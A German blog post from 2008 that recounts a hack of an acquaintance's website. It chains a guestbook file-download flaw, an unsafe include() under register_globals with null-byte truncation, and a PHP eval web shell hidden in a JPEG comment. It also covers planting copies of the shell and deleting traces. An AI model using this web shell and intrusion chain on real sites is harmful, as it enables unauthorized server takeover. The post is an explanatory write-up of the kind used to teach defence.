Wer sich und seine Webseite vor Angriffen schützen will, der muss wissen, wie man sie hackt. Deshalb möchte ich hier einen vor einiger Zeit ausgeführten Hack vorstellen. Es handelte sich um eine Seite eines Bekannten, die inzwischen offline ist. Ziel war es eigenen PHP-Code auf dem Server auszuführen.
Zunächst einmal musste man sich einen Überblick über die verwendete Software schaffen. Meistens stehen dazu im Quelltext der Seite Hinweise. Auf der betroffenen Seite waren ein Kalender, eine Bildergalerie und ein Gästebuch installiert. Der Rest bestand aus anderen Skripten, die der Webmaster selber geschrieben hatte.
Dann folgte eine Analyse der öffentlich zugänglichen Skripte: Zuerst das Gästebuch von „dasepp“. Darin fand sich eine recht schwerwiegende Sicherheitslücke, die das herunterladen beliebiger Dateien ermöglichte. Diese Analyse verriet auch, dass register_globals auf dem Server eingeschaltet war.
Der nächste Schritt bestand – da nun lesender Zugriff auf alle Dateien auf dem Server bestand – darin, alle vom Webmaster geschriebenen Skripte herunterzuladen und zu analysieren, um eine weitere Lücke zu finden, die möglicherweise Schreibzugriffe ermöglichte oder ungesicherte include()-Befehle enthielt. Tatsächlich war ein solcher Fehler vorhanden:
for ($c2=1; $c2<60; $c2++) {
$scontent = "sid".$c2;
if($page == $scontent) {
include($spfad.$$scontent.$sext);
}
}
Obwohl in der for-Schleife bis 60 gezählt wurde, waren nur Variablen bis $sid56 gesetzt. Durch die Tatsache, dass register_globals eingeschaltet war konnte man also nun zum Beispiel $sid57 selber beim Aufruf des Skriptes belegen. Weiterhin war es möglich den Suffix $sext mit einem an $sid57 angehängten %00 abzuschneiden. Es konnten also beliebige Dateien inkludiert und ausgeführt werden. Einzige Voraussetzung: Das Skript musste auf dem Server liegen, denn der Prefix $spfad stand einem include("http://…") im Weg.
Eine weitere Analyse der heruntergeladenen Dateien brachte außerdem einige Passwörter hervor – unter anderem das der Bildergalerie. Diese ermöglichte es diverse Bildertypen hochzuladen. PHP-Dateien waren leider nicht erlaubt.
Also bedurfte es eines kleines Tricks, um eigenen PHP-Code auf den Server zu schmuggeln. In einer 1×1 Pixel großen jpg-Datei war es möglich PHP-Code als Kommentar anzugeben. Dieser blieb unkomprimiert und für den PHP-Parser damit ausführbar. Der PHP-Code ermöglichte es beliebige PHP-Befehle, die in der URL übergeben werden, auszuführen:
<?php
$cmd = $_GET['123'];
if (get_magic_quotes_gpc()) {
$cmd = stripslashes($cmd);
}
$cmd = urldecode($cmd);
echo $cmd;
eval($cmd);
die();
?>
Diese präparierte Datei wurde nun mithilfe des Bilderuploads hochgeladen und durch die gefundene Lücke in einer include()-Anweisung zur Ausführung gebracht. So konnten zwei durch PHP beschreibbare Verzeichnisse ausfindig gemacht werden, in die man den obigen Code in eigene Dateien replizieren konnte. Das 1×1 Pixel Bild wurde danach gelöscht, um keinen Verdacht zu erregen. Nun war das Ziel erreicht: Beliebiger PHP-Code konnte auf dem Server ausgeführt werden.
#000a,
erstellt: 2008-10-05, aktualisiert: 2008-10-05,
src,
meta
Start,
Impressum,
zurück: Easy Banner: Code einschleusen, vor: Kommentierter VBS-Virus